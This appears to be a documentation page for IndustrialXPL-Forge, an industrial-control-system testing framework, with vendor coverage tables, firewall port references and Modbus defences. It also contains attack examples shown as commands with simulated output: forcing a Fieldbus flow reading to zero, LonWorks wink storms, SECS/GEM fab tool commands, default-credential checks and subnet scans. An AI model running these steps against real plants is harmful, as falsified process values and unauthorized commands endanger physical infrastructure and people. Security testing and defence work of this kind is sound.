  westermo                             EU               1
  ruggedcom                            EU               2
  metso_valmet                         EU               1
  danfoss                              EU               1
  krohne                               EU               2
  lenze                                EU               1
  hilscher                             EU               1
  softing                              EU               2
  saia_burgess                         EU               1
  sauter_ag                            EU               1
  distech_controls                     EU               1
  sofrel                               EU               1
  aspentech                            Americas         1
  automation_direct                    Americas         1
  red_lion                             Americas         1
  opto22                               Americas         1
  prosoft_technology                   Americas         2
  bedrock_automation                   Americas         1
  moore_industries                     Americas         1
  sensata                              Americas         1
  s_and_c_electric                     Americas         1
  compressor_controls                  Americas         1
  flowserve                            Americas         1
  weatherford                          Americas         1
  sierra_wireless                      Americas         1
  automated_logic                      Americas         1
  kmc_controls                         Americas         1
  grundfos                             EU/Americas      2
  westinghouse                         Americas         1
  weg                                  Americas         2
  altus                                Americas         1
  novus                                Americas         1
  elipse_software                      Americas         2
  smar                                 Americas         1
  digicon                              Americas         1
  kongsberg                            EU               1
  schweitzer_engineering               Americas         4
  alstom_ge_power                      EU/Americas      2
  hitachi_energy                       EU/Asia          3
  landis_gyr                           EU               2
  itron                                Americas         2
  ptc_thingworx                        Americas         1
  cisco_industrial                     Americas         3
  teltonika                            EU               1
  framatome                            EU               1
  wabtec                               Americas         1
  thales                               EU               1
  ─────────────────────────────────────────────────────────────────────────
  Total: 150 vendors covered
  ═══════════════════════════════════════════════════════════════════════════

ixf > vendors europe
  Vendors — Europe (26 covered)
  ─────────────────────────────────────────────────────────────────────────
  Siemens            Germany      27 CVE modules
  Schneider Electric France       39 CVE modules
  ABB                Switzerland  22 CVE modules
  Beckhoff           Germany       5 CVE modules
  Phoenix Contact    Germany       6 CVE modules
  WAGO               Germany       2 CVE modules
  Pilz               Germany       1 CVE modules
  B&R Automation     Austria       2 CVE modules
  Festo              Germany       1 CVE modules
  Endress+Hauser     Switzerland   2 CVE modules
  Pepperl+Fuchs      Germany       1 CVE modules
  SICK AG            Germany       2 CVE modules
  HMS Networks       Sweden        2 CVE modules
  Belden/Hirschmann  Germany       2 CVE modules
  Westermo           Sweden        1 CVE modules
  Ruggedcom (Siemens)Germany       2 CVE modules
  Metso/Valmet       Finland       1 CVE modules
  Danfoss            Denmark       1 CVE modules
  Krohne             Germany       2 CVE modules
  Lenze              Germany       1 CVE modules
  Hilscher           Germany       1 CVE modules
  Softing            Germany       2 CVE modules
  Saia-Burgess       Switzerland   1 CVE modules
  Sauter AG          Switzerland   1 CVE modules
  Distech Controls   France        1 CVE modules
  Sofrel             France        1 CVE modules

ixf > vendors americas
  Vendors — Americas (31 covered)
  ─────────────────────────────────────────────────────────────────────────
  Rockwell Automation  USA          38 CVE modules
  Honeywell            USA          20 CVE modules
  Emerson              USA          16 CVE modules
  GE / GE Vernova      USA          18 CVE modules
  Inductive Automation USA           5 CVE modules
  Tridium              USA           5 CVE modules
  AVEVA / OSIsoft      USA          14 CVE modules
  AspenTech            USA           1 CVE modules
  AutomationDirect     USA           1 CVE modules
  Red Lion Controls    USA           1 CVE modules
  Opto 22              USA           1 CVE modules
  ProSoft Technology   USA           2 CVE modules
  Bedrock Automation   USA           1 CVE modules
  Moore Industries     USA           1 CVE modules
  Sensata              USA           1 CVE modules
  S&C Electric         USA           1 CVE modules
  Compressor Controls  USA           1 CVE modules
  Flowserve            USA           1 CVE modules
  Weatherford          USA           1 CVE modules
  Sierra Wireless      Canada        1 CVE modules
  Delta Controls       Canada        1 CVE modules
  Automated Logic      USA           1 CVE modules
  KMC Controls         USA           1 CVE modules
  Grundfos             Denmark/USA   2 CVE modules
  Westinghouse         USA           1 CVE modules
  WEG                  Brazil        2 CVE modules
  ALTUS                Brazil        1 CVE modules
  Novus                Brazil        1 CVE modules
  Elipse Software      Brazil        2 CVE modules
  Smar                 Brazil        1 CVE modules
  Digicon              Brazil        1 CVE modules

ixf > vendors asia
  Vendors — Asia-Pacific (24 covered)
  ─────────────────────────────────────────────────────────────────────────
  Yokogawa          Japan          5 CVE modules
  Omron             Japan         12 CVE modules
  Mitsubishi Elec.  Japan          3 CVE modules
  FANUC             Japan          2 CVE modules
  Yaskawa           Japan          2 CVE modules
  Keyence           Japan          2 CVE modules
  Panasonic         Japan          1 CVE modules
  Fuji Electric     Japan          2 CVE modules
  JTEKT             Japan          2 CVE modules
  HIWIN             Taiwan         1 CVE modules
  Weintek           Taiwan         2 CVE modules
  Delta Electronics Taiwan        11 CVE modules
  Fatek Automation  Taiwan         2 CVE modules
  Vigor             Taiwan         1 CVE modules
  LS Electric       Korea          1 CVE modules
  Hollysys          China          2 CVE modules
  Supcon            China          1 CVE modules
  Inovance          China          1 CVE modules
  INVT              China          1 CVE modules
  CHINT             China          1 CVE modules
  Kinco             China          1 CVE modules
  Delixi            China          1 CVE modules
  STEP Electric     China          1 CVE modules
  Kongsberg         Norway         1 CVE modules

Vendor Coverage Tables — Complete Reference

Europe

Americas

Asia-Pacific

Energy / Power Grid Specialized

Maritime / Rail / Nuclear Specialized

ICS Networking / IIoT Platforms

Adding Coverage for a New Vendor or Device

To test an uncovered vendor, use protocol-specific scanners and generic credential modules:

# Discover devices on OT subnet
ixf > use scanners/ics/modbus_scanner
ixf > set target 192.168.1.0/24
ixf > run

# Protocol-specific scan after discovery
ixf > use scanners/ics/s7_comm_scanner
ixf > set target 192.168.1.50
ixf > run

# Generic default credential test
ixf > use creds/generic/http_default
ixf > set target 192.168.1.50
ixf > set port 80
ixf > run

# SNMP community string test (covers many vendors)
ixf > use creds/generic/snmp_community
ixf > set target 192.168.1.50
ixf > run

Protocol Security Summary Table

A consolidated security posture reference for all 50 protocols:

Protocol Port Reference — Quick Lookup

Protocol Example 21: PROFIBUS DP

Description: PROFIBUS DP (Decentralized Peripherals) is Siemens' master-slave fieldbus for device-level automation. It connects PLCs (masters) to distributed I/O, drives, and instruments (slaves). PROFIBUS DP runs over RS-485 at up to 12 Mbit/s. Access via IXF requires a PROFIBUS-to-Ethernet gateway (Anybus X-Gateway, HMS, or Siemens CP 5622).

IXF Attack Vector:

ixf > use exploits/protocols/profibus/profibus_read
ixf > set target 192.168.1.1    # gateway IP
ixf > set slave_addr 3          # PROFIBUS slave address
ixf > run

  [SIMULATE MODE — no packets sent]
  Step 1: Connect to gateway TCP on 192.168.1.1
  Step 2: Send PROFIBUS DP diagnostic request to slave 3
  Step 3: Read parameter block (PROFIBUS DP slot 0, index 0)
  Step 4: Enumerate available slaves from GSD configuration

Protocol Example 22: FOUNDATION Fieldbus H1

Description: FOUNDATION Fieldbus H1 is a digital replacement for 4-20mA analog instrumentation, used in oil & gas, chemical, and pharmaceutical plants. H1 operates at 31.25 kbit/s over twisted pair. Access via IXF requires an FF-to-IP HSE linking device (Emerson DeltaV, National Instruments FieldPoint, or Yokogawa).

Security Issues:

• FF H1 has no native authentication or encryption
• Function block parameters (setpoints, alarm limits, cascade outputs) are writable from the HSE backbone
• Subscriber function blocks can be overridden from any HSE host

IXF Example:

ixf > use exploits/protocols/foundation_fieldbus/ff_block_write
ixf > set target 10.0.0.5    # HSE linking device IP
ixf > set tag "FI-1001/AI1/PV"
ixf > run

  [SIMULATE MODE — no packets sent]
  Step 1: Connect to HSE linking device (TCP 1089)
  Step 2: Send FF HSE SetValue PDU for function block FI-1001 AI1
  Step 3: Write PV value override to 0.0 (process variable forced)
  Step 4: Flow indicator FI-1001 now reads 0 regardless of actual flow

Protocol Example 23: LonWorks / LonTalk

Description: LonWorks (Local Operating Network) is used in building automation (street lighting, HVAC, metering) and some transportation systems. LonWorks uses the LonTalk protocol over twisted pair, power line, or IP (LonWorks/IP, port 1628 UDP). The LonWorks Wink command causes devices to flash their LED for identification — an adversary can use this to enumerate all devices or to disrupt operations via a rapid wink storm.

IXF Example:

ixf > use exploits/protocols/lonworks/lon_wink
ixf > set target 192.168.50.1    # LonWorks/IP router
ixf > run

  [SIMULATE MODE — no packets sent]
  Step 1: Send LonWorks/IP UDP datagram to 192.168.50.1:1628
  Step 2: Encode LonTalk Wink command (Network Variable output)
  Step 3: All LonWorks devices on this channel respond/flash
  Step 4: Build device inventory from responses
  [i] More impactful: write Network Variable output to control value

Protocol Example 24: SECS/GEM (HSMS)

Description: SECS/GEM is mandatory in semiconductor fab equipment communications (SEMI E5/E30/E37). All modern fab tools (CMP, litho, CVD, etch, implant) support HSMS over TCP/5000. S1F1 (Are You There) / S1F2 (On-Line Data) reveals complete equipment identity. S2F41 (Host Command Send) allows triggering equipment state transitions.

IXF Example:

ixf > use scanners/ics/hsms_scanner
ixf > set target 10.100.1.0/24
ixf > run

  [SIMULATE MODE — no packets sent]
  Step 1: Connect TCP to each host:5000
  Step 2: Send HSMS Select.req (session selection)
  Step 3: Send S1F1 (Are You There)
  Step 4: Parse S1F2 response:
          Equipment Model  : Applied Materials Producer CVD
          Software Version : 3.4.0.2201
          Equipment ID     : TOOL-CVD-01
          Supported Streams: S1, S2, S5, S6, S9, S10
  [i] S2F41 Host Command: initiate recipe download, state change, or alarm acknowledge
  [i] MITRE: T0888, T0855 (Unauthorized Command)

Protocol Example 25: Serial-to-Ethernet Converters

Description: Moxa NPort, Lantronix UDS, and similar serial-to-Ethernet devices convert RS-232/RS-485 serial OT devices (PLCs, RTUs, meters) to Ethernet-accessible TCP/IP. These are extremely common in legacy OT environments. Many NPort devices have default credentials (admin with no password), an unauthenticated web console, and expose raw serial access on TCP/4001.

IXF Example:

ixf > use scanners/ics/serial_to_ethernet_scanner
ixf > set target 192.168.1.0/24
ixf > run

  [SIMULATE MODE — no packets sent]
  Step 1: Connect to port 4001 (Moxa NPort default serial port 1)
  Step 2: Send Moxa discovery broadcast (UDP 4800)
  Step 3: Parse discovery response:
          Device Name: NPort 5410
          MAC: 00:90:E8:xx:xx:xx
          Firmware: 1.7
          Serial Ports: 4 (all mapped to TCP)
  Step 4: TCP/4001 provides raw serial access to connected RS-232/RS-485 devices
  [i] Connect to port 4001, then send Modbus RTU or DNP3 serial frames directly
  [i] Web console typically on port 80 — test for default admin/(blank)

Protocol Coverage by Industry Sector

IXF Protocol Roadmap

The following protocols are planned for future IXF versions:

To request protocol coverage, open an issue on GitHub: https://github.com/mrhenrike/IndustrialXPL-Forge/issues

Protocol Security Comparison Matrix

Understanding which OT protocols have built-in security controls vs. those that require compensating controls:

Key takeaways:

• Most legacy OT protocols (Modbus, S7comm, DNP3, BACnet) have NO built-in authentication
• Security must be implemented at network layer (firewalls, VLANs, monitoring)
• OPC UA is the most secure OT protocol with full TLS + certificate authentication
• IEC 61850 with IEC 62351 extensions is the substation security standard

Protocol Port Reference for Firewall Rules

Complete port list for ICS firewall policy:

# ICS protocol ports — firewall rule reference
# ALLOW (inbound to OT, only from approved sources)
tcp  502        Modbus TCP               # Source: SCADA servers only
tcp  102        S7comm, IEC 61850 MMS   # Source: Engineering WS only
tcp  44818      EtherNet/IP             # Source: SCADA servers only
udp  47808      BACnet/IP               # Source: BAS servers only
tcp  2404       IEC 60870-5-104         # Source: SCADA masters only
tcp  4840       OPC UA                  # Source: OPC UA clients only
udp  9600       Omron FINS              # Source: SCADA servers only
tcp  20256      Unitronics PCOM         # Source: Engineering WS only
tcp  48898      Beckhoff ADS            # Source: Engineering WS only
tcp  20000      DNP3                    # Source: DNP3 masters only
udp  20000      DNP3 UDP                # Source: DNP3 masters only
tcp  1883       MQTT                    # Source: IIoT brokers only (if used)
udp  161        SNMP v3 only            # Source: NMS server only
tcp  5450       OSIsoft PI Server       # Source: Historian clients
tcp  5457,5461  AVEVA Historian         # Source: Historian clients
tcp  4911       Tridium Niagara         # Source: Engineering WS only
tcp  8088       Inductive Automation    # Source: SCADA clients only
tcp  1502       Triconex (SIS)          # Source: SIS engineering only — HIGH RISK if open

# DENY (block all from untrusted sources)
tcp  23         Telnet                  # Block entirely — use SSH only
tcp  21         FTP                     # Block entirely — use SFTP
tcp  80         HTTP (OT mgmt)          # Block from internet; internal only
tcp  135        DCOM (OPC DA)           # Block from untrusted — allow WS only
tcp  3389       RDP                     # Block — use jump server
udp  53         DNS from OT             # Redirect to internal DNS only
tcp  445        SMB                     # Block outbound from OT (NotPetya prevention)

Protocol Discovery Automation

Automated Multi-Protocol Discovery Script

#!/usr/bin/env bash
# ics-protocol-discovery.sh
# Discovers ICS protocols on a target subnet

TARGET="${1:-192.168.1.0/24}"
echo "=== ICS Protocol Discovery: $TARGET ==="

# Run IXF multi-protocol discovery
ixf \
  use scanners/ics/modbus_detect   set target "$TARGET" check \
  use scanners/ics/s7_comm_scanner  set target "$TARGET" check \
  use scanners/ics/enip_scanner     set target "$TARGET" check \
  use scanners/ics/opcua_scanner    set target "$TARGET" check \
  use scanners/ics/dnp3_scanner     set target "$TARGET" check \
  use scanners/ics/bacnet_scanner   set target "$TARGET" check \
  2>&1 | tee protocol_discovery.txt

# Generate report
ixf report json 2>&1

echo "=== Discovery complete. Results: protocol_discovery.txt ==="

nmap Multi-Protocol ICS Scan

# Comprehensive ICS protocol scan
nmap -sV -p 102,502,44818,47808,2404,4840,9600,20256,48898,20000,1883,161,1502,4911 \
     --script ics-sweep,ics-enumerate,ics-firmware-version \
     --open \
     192.168.1.0/24

# Output to XML for IXF integration
nmap -sV -p 102,502,44818,47808,2404,4840 \
     --script ics-sweep \
     -oX ics_discovery.xml \
     192.168.1.0/24

Vendor-Protocol Matrix

Which vendors use which protocols (common combinations):

Deep-Dive: Modbus Protocol Security

Modbus TCP (port 502) is the most widely exploited ICS protocol because:

1. No authentication — any device can send any command
2. No encryption — all data in cleartext (ARP/MITM trivial)
3. No authorization — read/write are equally accessible to all clients
4. Broadcast capable — unit ID 0 reaches all Modbus devices
5. No session concept — stateless; no login/logout

Common Modbus Attacks Covered by IXF

Modbus Defense Mechanisms

Since Modbus has no built-in security, compensating controls are required:

• Network segmentation — restrict port 502 access to SCADA servers only
• Modbus firewall (Modbus-aware DPI) — filter by unit ID, FC, register range
• Unidirectional gateways — data diode for historian reads
• IDS/NDR (Claroty/Nozomi) — baseline normal Modbus patterns; alert on deviations
• Encrypted tunnel (Modbus over TLS/VPN) — for remote access
• OPC UA migration — replace Modbus TCP with OPC UA (authentication + encryption)

Previous: SAST / LLM Analysis | Next: Module Development